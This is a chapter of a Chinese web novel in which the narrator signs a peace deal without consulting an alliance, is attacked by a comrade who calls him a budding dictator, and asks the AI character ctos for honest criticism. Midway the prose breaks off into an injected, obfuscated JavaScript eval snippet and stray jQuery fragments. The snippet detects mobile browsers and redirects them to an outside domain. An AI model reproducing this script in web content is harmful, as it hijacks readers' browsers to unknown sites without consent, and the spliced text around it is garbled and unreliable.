185.异化
作品:《[综]霸道AI爱上我》 在距离12点前三分钟时,叶卡捷琳娜敲响了办公室的门,我看着窗外,不想去开门:“ctos,你帮我开。”
房门打开,听着脚步声靠近,我才将目光从窗外绿树的枝丫上移开,叶卡捷琳娜今天是一身白衬衫加黑色长裤的搭配,还是精英高知的气场,她说:“我们愿意答应你的条件。”
“那,你们在委员会的反对派呢?”
“作为交换,那些人会交给您来公开处理。”叶卡捷琳娜扬起一个微笑,“如何?”
这手卖得可真干脆。我点点头,“可以,我们下午继续谈吧。”
谈判团的代表从罗伯特一下转变成叶卡捷琳娜,有了基础共识,谈判进度堪称无比顺利,各方面的细节都很快敲定,达成书面协议,最后签署文件,消化不过来的只有委员会代表团的部分成员,但是他们很明显不敢公开反对叶卡捷琳娜,原本代表团里的一些顽固派成员在这次谈判中也消失了。
和叶卡捷琳娜谈判就是舒服,比费劲儿打口水仗还毫无成效要强多了,事情推进顺利,所有细节敲定,我先派一些人回去传达消息,通告上下让格拉德的军队赶紧过来,准备城市接收了。
“贝纳尔先生,您那边的军事调动还有多久才结束?”
“不着急,大概一星期左右吧。”总得留些人在格拉德守家,“叶卡捷琳娜女士,你准备好联合公告了吗?”
“当然准备好了。稍后我就会把属于我发言的那部分初稿发给您过目一下。”
礼尚往来,我也说:“我的稿子还在斟酌,很快就会好,条件和我们谈的都一样。”
叶卡捷琳娜微微颔首:“我相信您会遵守我们的和约。”
和叶卡捷琳娜会谈结束,我回去就接收到了叶卡捷琳娜发来的初稿,正研究着怎么修改措辞,一阵急促的敲门声打断了我的思绪。
这敲门声太过急促,绝不像我熟悉的任何一人,我疑惑地喊了声:“谁啊?”话音未落门就被大力踹开,门外人大吼:“谁他妈叫你私自做主的!”
我定睛一看,是洛根,他头发乱得像鸟窝,双目通红:“你以为你是谁?你就这么代表整个康米和敌人和谈?你怎么敢的啊!贝纳尔.维克玛,你是不是以为你的军队已经天下无敌了,你要搞独裁是不是啊!!!”他气得几乎跳起来了。
最初的震惊迅速褪去,我冷静的解释:“洛根,你冷静一下,我从没说我要代表整个康米,是委员会公开邀请和谈的,所以我来了,我一开始也没想过能谈成功啊,哪想到委员会突然滑跪得那么快!两天就谈成了!”
“你!”洛根看样子气得都不知道说什么好,“你难道就不知道在行动前通知联盟大会吗?他们提出条件你就信了!你凭什么靠你那几个人就敢承诺给他们软禁?那些狗东西烧了我们多少地方,杀了多少同志!你配代表他们和谈吗!你配吗!你配吗!”
洛根声嘶力竭地大吼,我被喷得不敢说话。等他狂风暴雨的咒骂过去,赤红着眼呼哧呼哧喘气时,我一瞬间真的想一了百了:是是是我想独裁我得拉上几百个人才配跟他们和谈,你想怎么的吧!
但是我不能,把洛根真的气走了我也没好处,我只能说:“洛根,你想想当时的情况,委员会呼吁和平,只有我是真的来了啊!我的本意是战略拖延,给军队喘息时间。前几天我们是什么都没谈成的,直到我确认委员会的核讹诈已经近乎失效后,委员会才开始认真和谈,谈得太快了,我来不及走民主程序。洛根同志,你生气我可以理解,你觉得这不合适,我们也可以补救,好吧?”
“晚了!”洛根暴喝,“贝纳尔,你的脑子完全被权势污染了。你不是做不到,而是在高高在上的位子上、在潜移默化中压根没想起来!你觉得民主妨碍你的决策!你觉得别的代表会拖累你的脚步!你再怎么补救都改变不了你思想已经变质的事实!狗日的!我打死你个贱人!叛徒!去死吧!”
洛根扑上来就是一老拳,打得我眼冒金星,外面的人冲进来,等ctos强行把洛根拉开,艾斯利搀着我从地上站起来,我已经不记得我挨了多少拳,视野一阵阵的发黑,天旋地转。艾斯利慌乱的用纸擦我鼻子流下的血。
洛根被ctos抱着往门外拖去,他挣扎着,依旧在声嘶力竭地破口大骂:“等着吧贝纳尔!你迟早会变成下一个委员会!下一个瑞瓦肖皇帝!就你还在觉得为世界好!世界!人民!不需要你这样的好!我打死你!啊啊啊啊啊!”
一声枪响,艾斯利压着我扑倒在地上,他紧紧抱着我的脑袋,我听到沉闷的玻璃轰然破碎的声音,应该是挂在墙上的油画被打碎了,艾斯利抱着我,呼吸急促。枪响之后,仿佛一切思绪都被抹除,变成难解的空白。
更多人的脚步纷乱地踏进来,他们把艾斯利拉起来,再把我拉起来,检查我的伤势,安娜苏给我疗伤,年轻的将官费尔南多紧张地问我现在是否清醒,我撑住额头:“静一静,静一静。”
人们安静下来,我喘着气,首先看到了一地亮晶晶的玻璃碎片,倒映出缭乱的光影,我的耳朵还在嗡嗡作响,鼻血刚刚止住,凝固的血痂在鼻孔里堵着,呼吸不过来。
“洛根怎么样了?”
立刻有人大步流星的走出去,过了一会回来报告:“洛根同志暂时昏过去了,没有大碍,他的武器已经被收缴。”
我回头摸椅子,立刻有人把椅子推到我屁股底下。我慢慢坐下来,心底蓦然生出一股寒意:洛根说的没错,围绕在我身边的这些人,他们已经默认以我为权力中心,他们谁都没有提起应当向联盟报告的事,沉浸在忘乎所以的和平即将到来的喜悦当中——而我呢?我是真的忘了?我真的忘了?
“洛根同志刚才情绪激动了,他没有错,不要为难他。”
我缓了缓,再说:“把我们这些天谈判的流程记录、最终的协议内容发给联盟,呼吁联盟代表们尽快来克莱沃尔,我们的军队会保证他们的人身安全。费尔南多,你那里有全套的文件是吧?”
费尔南多立刻点头:“是的,没错。”
“现在就去。”
“马上。”费尔南多立刻走了。
脸上挨打的地方现在开始微微发烫,我摸了一下,感觉有组织液渗出来了:“叫叶卡捷琳娜过来和我再谈谈。”
叶卡捷琳娜很快过来了,她似乎对我现在这般凌乱的样貌毫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943830|162360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不意外:“您看起来伤势很严重。”
“你们应该听到枪声了。”
“是的,很高兴看到您还活着。”
“公告时间需要往后推推。”
“只要您能保证我们谈好的不会轻易更改就行了。”
“我不能保证。”
叶卡捷琳娜眯起眼:“贝纳尔先生,您这样让我很为难。”
我已经破罐破摔什么都无所谓了:“不然呢,你们继续打吧?”
“民主可是需要很长时间的。贝纳尔,你如何保证你不会因为犯下的错误被联盟革职?”
“我愿意在代表们面前做检讨,愿意将决定权交还给民主。让我下台的话,格拉德不会同意。”
“但愿如此。”叶卡捷琳娜的微笑不知是习惯性的礼貌还是轻蔑的讽刺,“希望您能处理好与你的同志们的关系。”
一晚上发生了太多事,我太累了。艾斯利带来冰袋,让我冷敷一下伤口再睡。我接过冰袋,躺在床上敷着,心里很难过,脑海盘桓着众多乱七八糟的思绪。
洛根的斥责,等其他代表到了克莱沃尔肯定要对我开批评会,我除了接受指责又有什么办法呢?我确实做错了。我是否已经异化成了快要丧失人性的政治动物?我不知道。
想着想着就哭了,眼泪模糊了我的双眼,我吸吸鼻子,不想擦。
床铺压上来一个人,软垫弹簧被重量压着发出吱扭吱扭的声音,闻着熟悉的气味,我知道是艾斯利,他什么都没说。用手帕轻轻擦拭我眼角的泪,塞过来一个软乎乎的温暖东西,我一摸手感就知道是ctos小蜜蜂。
我把脸埋进干燥的小蜜蜂绒毛里,白天应该好好晒过,现在还残留着阳光烘熟的气味。刺激得我又想流泪了,哽咽两下,鼻子实在酸胀得难受,揉两下里面的血痂都出来了,硬生生剥下来,怪痛的。
我小声哭了会,拿ctos小蜜蜂擦了一遍又一遍,期间ctos人形体也回来了,它告诉我,洛根已经苏醒,火气消了不少,但仍需时间冷静下来。
我哽咽了下:“没把他怎么样吧?”
“当然没有。”
我搭上它的手,它的手很温暖,无从解答的疑问与纠结在此刻吐露:“ctos,我是不是早就变了?”
“您没有变得冷血,也没有因为洛根的冒犯举动而大发雷霆,这已经难得可贵。”
“我不想听你夸我了,我需要真实的声音。”
“您确定?”
“我确定。”
Ctos开始数落我的缺点,指责我在掌握武装力量后迅速形成了权力惯性,如洛根所言,我在很多事情上几乎是下意识的忽略了民主流程,习惯自己拍板决策,认为自己才是唯一的正确方,即便这种思维的出发点是出于善意与决策效率的考虑,单如果不对这种心理加以警惕,那么这般自以为是的自信迟早会膨胀成真正的独裁。
艾斯利坐起来想要开口说话被我压下去了,直到ctos说完,我又开始哭,哽咽着问ctos:“这些你为什么不早点告诉我?”
“贝纳尔,这本该是由你自己思考得来的,你不能总是过分依赖我去思考。”